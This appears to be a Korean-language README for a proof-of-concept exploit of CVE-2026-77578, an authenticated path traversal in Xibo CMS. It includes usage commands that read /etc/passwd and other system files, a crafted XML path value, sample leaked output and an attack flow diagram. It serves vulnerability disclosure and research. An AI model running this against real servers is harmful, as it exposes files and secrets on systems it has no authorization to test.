
Xibo CMS의 인증된 경로 순회 취약점인 CVE-2026-77578을 악용하여 조작된 XML 템플릿 가져오기를 통해 임의의 로컬 파일을 읽는 Python 개념 증명 코드입니다.
CVE-2026-77578은 Xibo CMS의 인증된 임의 로컬 파일 읽기(Arbitrary Local File Read) 취약점입니다.
Admin 권한 또는 Module Templates 접근 권한을 가진 인증된 사용자가 경로 기반 자산에 traversal 시퀀스를 포함한 조작된 XML 템플릿을 가져올 수 있습니다. 그런 다음 결과 자산을 module asset 엔드포인트를 통해 접근하면 Xibo가 참조된 로컬 파일의 내용을 반환하게 됩니다.
<= 4.4.3>= 4.4.4AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)Xibo는 해당 취약점을 GHSA-pc3g-2hhm-46qc로 공개하여 <= 4.4.3 버전이 영향을 받고 >= 4.4.4 버전이 패치되었음을 확인했습니다. 권고문은 높음(High) 심각도와 CVSS v3.1 점수 8.8을 부여하고 CVE-2026-77578을 식별합니다.
제공된 Python PoC는 익스플로잇 과정을 자동화합니다:
/developer/template/import를 통해 조작된 XML 템플릿을 업로드합니다./module/asset/<asset-id>를 통해 결과 자산을 요청합니다.python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>
예시:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/passwd
또 다른 예시:
python3 poc.py http://localhost \
-u xibo_admin \
-p password \
-f /etc/os-release
-f 옵션은 기본값이 /etc/passwd입니다.
다음은 /etc/passwd의 성공적인 검색을 보여줍니다:
==============================================
FILE CONTENT
==============================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Authenticated User
|
v
GET /developer/template/view
|
v
Extract X-XSRF-TOKEN
|
v
POST /developer/template/import
|
| Crafted XML
| path="../../../../../etc/passwd"
v
Xibo creates the asset
|
v
GET /module/asset/<asset-id>
|
v
Contents of local file returned
이 취약점은 로컬 Xibo CMS 4.4.3 테스트 환경에서 다음을 포함한 여러 파일에 대해 성공적으로 검증되었습니다:
/etc/passwd/etc/hosts/etc/os-release/var/www/cms/web/index.phpPHP 소스 파일 테스트는 이 문제가 단순한 시스템 메타데이터뿐만 아니라 애플리케이션 소스 코드도 반환할 수 있음을 보여줍니다.
성공적인 익스플로잇을 통해 필요한 Module Templates 권한을 가진 인증된 공격자가 Xibo 애플리케이션 프로세스가 접근할 수 있는 임의의 파일을 읽을 수 있습니다.
배포 환경에 따라 다음이 노출될 수 있습니다:
이 개념 증명은 승인된 보안 연구 및 방어 테스트 목적으로만 제공됩니다.
소유하고 있거나 평가에 대한 명시적 허가를 받은 시스템만 테스트하십시오.
CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
└── poc-output.png